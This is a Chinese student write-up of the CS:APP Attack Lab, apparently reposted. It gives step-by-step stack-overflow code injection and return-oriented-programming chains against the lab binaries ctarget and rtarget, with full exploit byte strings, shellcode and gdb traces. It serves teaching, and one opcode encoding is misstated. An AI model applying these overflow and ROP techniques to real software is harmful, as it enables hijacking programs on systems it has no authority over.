赞
踩
本报告要求学生写出实验中攻击的过程和原理.
以下均摘自attacklab实验的实验说明文档
csapp-attacklab目录下包含如下文件:
可以把攻击字符串存入文件中,例如exploit.txt,以下列几种方式调用:
用一系列管道(pipe)通过hex2raw传递字符串。
unix> cat exploit.txt | ./hex2raw | ./ctarget
将raw字符串存在文件中,使用I/O重定向。
unix> ./hex2raw < exploit.txt > exploit-raw.txt
unix> ./ctarget < exploit-raw.txt
这种方法也可以在gdb中使用,如下:
unix> ./hex2raw < exploit.txt > exploit-raw.txt
unix> gdb ctarget
(gdb) run < exploit-raw.txt
更多细节请自行查看实验说明文档
假设编写一个汇编文件example.s,代码如下:
# Example of hand-generated assembly code
pushq $0xabcdef # Push value onto stack
addq $17,%rax # Add 17 to %rax
movl %eax,%edx # Copy lower 32 bits to %edx
可以汇编和反汇编文件:
unix> gcc -c example.s

unix> objdump -d example.o > example.d
生成的example.d包含如下内容:
example.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 68 ef cd ab 00 pushq $0xabcdef
5: 48 83 c0 11 add $0x11,%rax
9: 89 c2 mov %eax,%edx
由此可以推出这段代码的字节序列:
68 ef cd ab 00 48 83 c0 11 89 c2
可以通过hex2raw生成目标程序的输入字符串。也可以手动修改example.d的代码,得到下面的内容:
68 ef cd ab 00 /* pushq $0xabcdef */
48 83 c0 11 /* add $0x11,%rax */
89 c2 /* mov %eax,%edx */
这也是合法的hex2raw的输入。
ROP攻击时寻找和选取工具代码时需要参考这四个表格:
表D中的2字节指令,它们可以作为有功能的nop,不改变任何寄存器或内存的值。
另:
攻击内容:
要求注入代码使得ctarget
执行test
函数时,在调用getbuf
函数完成后并不返回至test
函数中的下一语句继续执行,而是跳转执行touch1
。
攻击思路:
找到touch1
的起始地址的字节表示的位置,使得getbuf
结尾处的ret
指令会将控制转移到touch1
。
具体过程:
反汇编查看touch1
:
(gdb) disas touch1
Dump of assembler code for function touch1:
0x0000000000401695 <+0>: sub $0x8,%rsp
0x0000000000401699 <+4>: movl $0x1,0x202e59(%rip) # 0x6044fc <vlevel>
0x00000000004016a3 <+14>: mov $0x402d87,%edi
0x00000000004016a8 <+19>: callq 0x400be0 <puts@plt>
0x00000000004016ad <+24>: mov $0x1,%edi
0x00000000004016b2 <+29>: callq 0x401a9f <validate>
0x00000000004016b7 <+34>: mov $0x0,%edi
0x00000000004016bc <+39>: callq 0x400d30 <exit@plt>
End of assembler dump.
得到touch1
起始地址为0x0000000000401695
。
查看getbuf
反汇编代码,以确定缓冲区大小BUFFERSIZE
:
(gdb) disas getbuf
Dump of assembler code for function getbuf:
0x000000000040167f <+0>: sub $0x18,%rsp
0x0000000000401683 <+4>: mov %rsp,%rdi
0x0000000000401686 <+7>: callq 0x4018e4 <Gets>
0x000000000040168b <+12>: mov $0x1,%eax
0x0000000000401690 <+17>: add $0x18,%rsp
0x0000000000401694 <+21>: retq
End of assembler dump.
根据getbuf
函数执行开始栈指针地址值减0x18
知,BUFFERSIZE=24
。
因此我们只要输入24
字节字符的填充再加上touch1
起始地址即可覆盖原返回地址,使getbuf
完成后跳转至touch1
处执行。
此处由于使用的是小端模式(见实验文档要点说明),对于touch1
的起始地址要逆字节顺序输入。
输入文件:
ctarget.l1可为:
30 31 32 33 34 35 36 37
30 31 32 33 34 35 36 37
30 31 32 33 34 35 36 37
95 16 40 00 00 00 00 00
攻击内容:
使ctarget
执行touch2
的代码而不是返回到test
,让touch2
以为它收到的参数是我的cookie
。
攻击思路:
在注入内容中添加程序可执行代码使得将寄存touch2
参数的寄存器rdi
中的值为我的cookie
,然后利用ret
指令控制转移到touch2
的第一条指令。
为了使程序跳转执行注入代码,我们需要获取注入代码的位置,即getbuf
读入字符串时栈顶指针,使得在getbuf
执行结束后跳转至注入代码处。
因此可以确定最终注入代码形式为代码 + padding + 栈顶指针地址
具体过程:
首先我们获取正确的cookie
。
在运行ctarget
时,程序就打印了cookie
为0x3d9549ca
,我们不妨通过gdb验证一下。(后来发现有个文件cookie.txt
专门存放cookie
,显然不需要多此一举去查看内存,不过既然已经这么做了我就还是保留在报告里了。)
在touch2
处设置断点查看%rdi
:
(gdb) break touch2
Breakpoint 1 at 0x4016c1: file visible.c, line 40.
(gdb) r < ctarget.l2
Starting program: /headless/Desktop/csapp-attacklab/ctarget < ctarget.l2
Cookie: 0x3d9549ca
Breakpoint 1, touch2 (val=1033193930) at visible.c:40
40 visible.c: No such file or directory.
(gdb) p $rdi
$1 = 1033193930
将1033193930
转换为16进制表示就是0x3d9549ca
。
通过反汇编touch2
(以下仅展示第一行反汇编结果):
(gdb) disas touch2
Dump of assembler code for function touch2:
0x00000000004016c1 <+0>: sub $0x8,%rsp
得到touch2
起始地址为0x00000000004016c1
。
因此我们可以编写出注入代码应该为
mov $0x3d9549ca,%rdi /*修改寄存器`%rdi`的值为`cookie`*/
pushq $0x4016c1 /*将`touch2`起始地址推入栈,使得执行`retq`指令后跳转执行`touch2`*/
retq
汇编得到:
48 c7 c7 ca 49 95 3d
68 c1 16 40 00
c3
所以这段代码的字节序列为48 c7 c7 ca 49 95 3d 68 c1 16 40 00 c3
。
(关于字节代码的生成如果有问题,具体可以查看实验说明
的生成字节代码
部分)
接下来我们只要找到注入代码的起始位置,覆盖原返回地址即可。
在getbuf
设置断点,查看%rsp
的值:
Breakpoint 1, getbuf () at buf.c:12
12 buf.c: No such file or directory.
(gdb) p $rsp
$1 = (void *) 0x55654cb0
(gdb) step
14 in buf.c
(gdb) p $rsp
$2 = (void *) 0x55654c98
得到地址值为0x55654c98
将 攻击代码 填充至24字节,再与攻击代码地址连接即可得到注入内容。
输入文件:
ctarget.l2文件可为:
48 c7 c7 ca 49 95 3d 68
c1 16 40 00 c3 31 32 33
31 32 33 34 35 36 37 38
98 4c 65 55 00 00 00 00
攻击内容:
使ctarget
执行touch3
而不要返回到test
。要使touch3
以为我传递我的cookie
的字符串表示作为它的参数。
攻击思路:
攻击思路与第二关类似,只是此次传给touch3
的参数不是cookie
而是cookie
的字符串表示的首地址,因此我们还要找到一个地方用于存放cookie
的字符串。考虑到后续touch3
的执行可能会覆盖getbuf
使用的缓冲区内存,我们还需要谨慎放置cookie
的字符串表示。
具体过程:
首先使用字符串表示出cookie = 0x3d9549ca
,根据实验文档提示(这个字符串由8个十六进制数字组成(顺序是从最高位到最低位),开头没有“0x”)知,也即为字符串"3d9549ca"
。
对照ASCII表,可以得到它的字节表示为:33 64 39 35 34 39 63 61 00
。(C中的字符串表示是一个字节序列,最后跟一个值为0的字节)
接下来我们需要确定寻找不会在后续运行中被覆盖的位置,并将字符串存放在那。
其实这里我们可以很快地想到栈中存放返回地址的更高地址处,那里不会被touch3
运行时以及其内部调用其他函数后进行的入栈操作覆盖。
但此处我们还是来仔细查看一下为什么getbuf
缓冲区最终会被覆盖。
通过反汇编touch3
我们可以看到touch3
最初进行了一次入栈操作(此处仅展示该行代码):
(gdb) disas touch3
Dump of assembler code for function touch3:
0x00000000004017ad <+0>: push %rbx
touch3
中还调用了hexmatch
函数,在调用函数之前也会进行一次入栈操作(压入返回地址),此外hexmatch
最初也进行了3次入栈操作:
(gdb) disas hexmatch
Dump of assembler code for function hexmatch:
0x0000000000401721 <+0>: push %r12
0x0000000000401723 <+2>: push %rbp
0x0000000000401724 <+3>: push %rbx
使用gdb
调试ctarget
,仔细查看被覆盖区域。
首先在touch3
和hexmatch
处均设置断点:
(gdb) b touch3
Breakpoint 1 at 0x4017ad: file visible.c, line 71.
(gdb) b hexmatch
Breakpoint 2 at 0x401721: file visible.c, line 62.
(gdb) r < exploit-raw.txt
运行至touch3
入口处,查看栈指针和内存如下:
Breakpoint 1, touch3 (sval=0x55654ca7 "3d9549ca") at visible.c:71
71 visible.c: No such file or directory.
(gdb) p $rsp
$1 = (void *) 0x55654cb8
(gdb) x /8gx 0x55654c98
0x55654c98: 0x6855654ca7c7c748 0x333130c3004017ad
0x55654ca8: 0x0061633934353964 0x00000000004017ad
0x55654cb8: 0x0000000000000000 0x0000000000401d12
0x55654cc8: 0x0000000000000000 0xf4f4f4f4f4f4f4f4
自0x55654c98
处起24个字节为getbuf
缓冲区范围(前一行半),第二行后半段为getbuf
函数返回地址存放位置(0x55654cb0
起8个字节)。此时栈指针指向的为第三排开始处。
继续运行,如下:
(gdb) step
72 in visible.c
(gdb) p $rsp
$2 = (void *) 0x55654cb0
(gdb) x /8gx 0x55654c98
0x55654c98: 0x6855654ca7c7c748 0x333130c3004017ad
0x55654ca8: 0x0061633934353964 0x0000000055586000
0x55654cb8: 0x0000000000000000 0x0000000000401d12
0x55654cc8: 0x0000000000000000 0xf4f4f4f4f4f4f4f4
touch3
将%rbx
压入栈,因此栈指针下移8个字节,0x55654cb0
起8个字节被覆盖。
继续运行至touch3
调用hexmatch
:
(gdb) c
Continuing.
Breakpoint 2, hexmatch (val=1033193930, sval=sval@entry=0x55654ca7 "3\311\027@") at visible.c:62
62 in visible.c
(gdb) p $rsp
$3 = (void *) 0x55654ca8
(gdb) x /8gx 0x55654c98
0x55654c98: 0x6855654ca7c7c748 0x333130c3004017ad
0x55654ca8: 0x00000000004017c9 0x0000000055586000
0x55654cb8: 0x0000000000000000 0x0000000000401d12
0x55654cc8: 0x0000000000000000 0xf4f4f4f4f4f4f4f4
可以看到栈指针下移8个字节,压入返回地址,0x55654ca8
起8个字节被覆盖。
继续运行,如下:
(gdb) step
65 in visible.c
(gdb) p $rsp
$4 = (void *) 0x55654c20
(gdb) x /8gx 0x55654c98
0x55654c98: 0x0000000055685fe8 0x0000000000000001
0x55654ca8: 0x00000000004017c9 0x0000000055586000
0x55654cb8: 0x0000000000000000 0x0000000000401d12
0x55654cc8: 0x0000000000000000 0xf4f4f4f4f4f4f4f4
(gdb) step
__random () at random.c:288
288 random.c: No such file or directory.
栈指针大幅下移,一方面将一些数据压入栈(3个),所以自0x55654c98
起后16个字节以及前8个字节均被覆盖,且更低处的缓冲区将用于后续函数运行。
以上我们可以非常清晰地看到getbuf
的缓冲区以及紧挨其上的用于存储器返回地址的8个字节均被覆盖,而更低处的地址用于作为后续函数运行使用的缓冲区,更上方的地址则不会被覆盖。因此我们可以将cookie
的字符串表示存储在这个不会被覆盖的区域,即自0x55654cb8
开始的区域。也即在构造好的24+8=32个字节的输入代码后再加上一行cookie
的字符串表示的字节代码即可。
接下来,我们按照第二关的思路构造攻击代码即可。
我们已将得到cookie
的字符串表示的字节代码可存放位置,现在只要拿到touch3
起始地址即可构造攻击代码。
通过反汇编touch3
(以下仅展示第一行反汇编结果):
(gdb) disas touch3
Dump of assembler code for function touch3:
0x00000000004017ad <+0>: push %rbx
得到touch3
起始地址为0x00000000004017ad
。
可以构造攻击代码如下:
mov $0x55654cb8, %rdi /*将%rdi的值修改为存放`cookie`的字符串表示的首地址*/
pushq $0x4017ad /*将`touch3`起始地址压入栈*/
retq
汇编得到字节代码为48 c7 c7 b8 4c 65 55 68 ad 17 40 00 c3
最终将 攻击代码填充至24字节拼接上getbuf
缓冲区起始地址和cookie
的字符串表示即可得到输入文件。
输入文件:
ctarget.l3可以为:
48 c7 c7 b8 4c 65 55 68
ad 17 40 00 c3 30 31 32
31 32 33 34 35 36 37 38
98 4c 65 55 00 00 00 00
33 64 39 35 34 39 63 61 00
对于面向返回的编程,我们需要做一些准备工作,由于攻击需要用到已有函数的代码,我们需要拿到gadget的反汇编代码。对于这个,ctarget中一定包含了,我们只需要反汇编整个ctarget整个文件,然后从中找到gadget段即可(从farm_start到farm_end)。(不建议直接对farm.c编译后反汇编,得到的汇编结果有所出入,事实上就我实际体验而言,这会对寻找目标工具代码造成障碍,而且实际使用工具代码时还需要拿到该代码在rtarget中运行时的位置,因此还是需要在rtarget中反汇编。)
攻击内容:
要求与Part1中第二关一致,只是目标程序rtarget
采用了栈随机化并将栈的内存区域设置为不可执行,不能再采用代码注入技术攻击,要求使用面向返回的编程实现该攻击。
攻击思路:
与第二关一致,但是现在我们需要使用工具代码实现。由于gadget中没有一致的mov
指令可以把我们想要的立即数放到%rdi
中,我们联系实验文档的提示,可以间接通过pop
指令弹出栈中数据到寄存器然后利用gadget中的寄存器与寄存器间的mov
指令最终实现将目标立即数放入%rdi
中的操作。
具体过程:
根据思路我们先查找可用工具代码。
首先查找可用的pop
指令,查表知pop 寄存器
的指令代码为58~5f
,查找gadget反汇编文件,发现在gadget只含有58
指令,即pop
到%rax
中,其中可供使用的如下:
000000000040185f <setval_219>:
40185f: c7 07 98 d2 58 c3 movl $0xc358d298,(%rdi)
401865: c3 retq
0000000000401873 <addval_385>:
401873: 8d 87 00 58 90 c3 lea -0x3c6fa800(%rdi),%eax
401879: c3 retq
其中58
之后的c3
为retq
,90
为nop
(空操作),均不造成影响。此处我选取setval_219
中的可用代码作为我的第一个工具代码,实现pop %rax; retq
的操作。该工具代码的地址为0x0000000000401863
。
根据第一个工具代码,我们下一个应该查找能完成mov %rax %rdi
操作的工具代码。
查表知mov %rax %rdi
指令的代码表示为48 89 7c
,查找发现有两个满足条件且可供使用的代码:
0000000000401858 <setval_422>:
401858: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)
40185e: c3 retq
0000000000401866 <setval_246>:
401866: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)
40186c: c3 retq
我选择使用第一个作为我的工具代码,则它的地址为0x000000000040185a
(第二个则为0x0000000000401868
)。
输入文件:
最终我们的输入文件,应该使第一个工具代码的地址覆盖getbuf
的原返回地址,并在紧接其后的位置输入cookie
使得执行pop
操作时能够成功将cookie
保存到%rax
,然后接上第二个工具代码的地址,使得第一个工具代码返回后跳转到第二个工具代码处实现mov %rax %rdi
操作,然后再紧接上touch2
起始地址,使得第二个工具代码执行完成后跳转执行touch2
(与第二关相同,也可以在gdb中通过disas查看)。同样,我们拼接的时候要注意字节的顺序。
因此rtarget.l2可以为:
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
63 18 40 00 00 00 00 00
ca 49 95 3d 00 00 00 00
5a 18 40 00 00 00 00 00
c1 16 40 00 00 00 00 00
攻击内容:
要求与Part1中第三关一致,可以使用的工具代码扩展到gadget
中所有指令。
攻击思路:
与第三关一致,但是由于栈地址随机化,我们不能直接把字符串地址赋给%rdi
。但是确定我们的字符串在缓冲区的位置后,相对位置是不改变的。我们可以通过获得栈指针地址加上一定偏移量得到字符串地址。
具体过程:
在上述思路中,为了获得最终字符串地址我们一定需要进行一个栈指针地址与偏移量的加减计算,从这个切入点入手,我们尝试寻找farm.c中是否可供利用的代码。
有一个比较明显的函数add_xy
,他的反汇编结果如下:
0000000000401887 <add_xy>:
401887: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
40188b: c3 retq
事实上,在整个文件中也仅有这部分代码是实现两个寄存器中内容的加法的操作(而且也只执行加法操作)(其他有关代码一般都是对寄存器和立即数的操作,不便于使用)。并且最终计算结果存放在%rax
,通过上一关我们已经找到实现mov %rax %rdi
的工具代码,说明这不影响我们后续的参数传递,因此我们可以使用这段作为实现地址计算的工具代码。
据此,我们需要利用寄存器%rdi
和%rsi
存放我们的栈指针地址和地址偏移量。
要获取栈指针地址我们显然需要能够实现转移%rsp
至其他寄存器的功能的代码,根据表C,我们在gadget中查询48 89 e0~48 89 e7的代码,发现只有48 89 e0,即%rsp->%rax
的路径(实际上如果搜索范围扩大至89 e0~89 e7,还是只存在这条路径)。
另外,偏移量是通过pop
出栈入到%rax
后再转移,因此不管我们如何分别使用%rdi
和%rsi
存储地址和偏移量,最终都要实现%rax->%rdi
和%rax->%rsi
(也可能不需要这么多位)的转移操作。
前者不必多说,后者通过farm.c中的代码实现的路径仅有%eax->%ecx->%edx->%esi
。
下面简述一下查找过程:
以目标为导向,所以我们倒着找,寻找gadget中可以转移到%esi
的寄存器(因为64位寄存器间的转移代码比32位多一个字节,限制更多,所以查32位的,到时候查看前面有没有48就知道能不能转移64位了),找到后继续顺着这个思路往前查找直到找到%eax->%esi
的通路(事实上,整个过程,每次只能查到唯一满足条件的寄存器,不用担心路径太多)。
我们可以发现到最终我们只能使用到%rsi
的低32位,高32位会在转移过程中被清零。因此采取保险操作(保证地址高位信息不会丢失),%rsi
应当存储偏移量,%rdi
存储地址信息。(事实上,gdb调试,发现地址总是超出32位的)
假设地址偏移量已经确定,我们可以明确我们需要实现以下操作:
%rdi
,转移路径为%rsp->%rax->%rdi
。pop %rax
传入寄存器),最终存入%rsi
,路径为%eax->%ecx->%edx->%esi
。add_xy
(lea (%rdi,%rsi,1),%rax
)计算字符串地址。%rdi
中之后跳转至touch3
,转移路径为%rax->%rdi
。对于输入文件,我们可以组织为填充 + (工具代码)地址 + 字符串
的形式。
不难看出偏移量需要预先存储在紧接工具代码pop %rax
地址之后的位置中,而我们获取栈顶指针时,getbuf
函数返回,栈指针上移至第一个返回地址之后(即第二个工具代码地址存放处),从此处起一直到最终字符串中间跨越 7个工具代码地址 + 1个数据(偏移量,用8个字节存放)+ 1个函数起始地址(touch3)
,所以可以计算偏移量为 9*8=72= 0x48
。
以下为我使用的工具代码:
地址:0x40181c
,功能:movq %rsp %rax
0000000000401919 <setval_232>:
401919: c7 07 c8 48 89 e0 movl $0xe08948c8,(%rdi)
40191f: c3 retq
地址:0x40185a
,功能:movq %rax %rdi
0000000000401858 <setval_422>:
401858: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)
40185e: c3 retq
地址:0x401863
,功能:pop %rax
000000000040185f <setval_219>:
40185f: c7 07 98 d2 58 c3 movl $0xc358d298,(%rdi)
401865: c3 retq
这中间放偏移量;
地址:0x4018b0
,功能:movl %eax %ecx
注意,虽然89 c1
和c3
之间夹了两个字节代码08 db
,但是据表D可知可将其当做有功能的nop,不改变寄存器或内存的值,不影响功能的实现,之后使用的工具代码也类似的nop。
00000000004018ae <setval_231>:
4018ae: c7 07 89 c1 08 db movl $0xdb08c189,(%rdi)
4018b4: c3 retq
地址:0x4018a3
,功能:movl %ecx %edx
00000000004018a1 <addval_245>:
4018a1: 8d 87 89 ca 20 c0 lea -0x3fdf3577(%rdi),%eax
4018a7: c3 retq
地址:0x4018ca
,功能:movl %edx %esi
00000000004018c9 <getval_301>:
4018c9: b8 89 d6 20 d2 mov $0xd220d689,%eax
4018ce: c3 retq
地址:0x401887
,功能:lea (%rdi,%rsi,1),%rax
0000000000401887 <add_xy>:
401887: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
40188b: c3 retq retq
地址:0x40185a
,功能:movq %rax %rdi
0000000000401858 <setval_422>:
401858: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)
40185e: c3 retq
这之后放入touch3
地址:0x4017ad
。
以上所选工具代码部分还有其他选择,可以自行选取。
输入文件:
rtarget.l3可为(注意字节顺序):
31 32 33 34 35 36 37 38 /*填充*/
31 32 33 34 35 36 37 38
31 32 33 34 35 36 37 38
1c 19 40 00 00 00 00 00 /*工具代码地址*/
5a 18 40 00 00 00 00 00
63 18 40 00 00 00 00 00
48 00 00 00 00 00 00 00 /*偏移量*/
b0 18 40 00 00 00 00 00
a3 18 40 00 00 00 00 00
ca 18 40 00 00 00 00 00
87 18 40 00 00 00 00 00
5a 18 40 00 00 00 00 00
ad 17 40 00 00 00 00 00 /*touch3首地址*/
33 64 39 35 34 39 63 61 00 /*字符串*/
经过这个实验,我更加深刻地理解了程序中如果含有容易遭受缓冲区溢出攻击的代码的严重性和危险性,深刻认识到安全编程的重要性,今后在编程中我将更加规范地编程,不使用不安全的函数和代码,注意检查程序中存在的漏洞。
同时,经过此次实验我对栈中的存储组织形式还有栈的规则,以及一些针对缓冲区溢出攻击设计的安全保护措施有了更为切实的理解和体验,对于代码注入和面向返回的编程的两种攻击方式的原理和实践在实际操作中也得到了巩固和加强。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。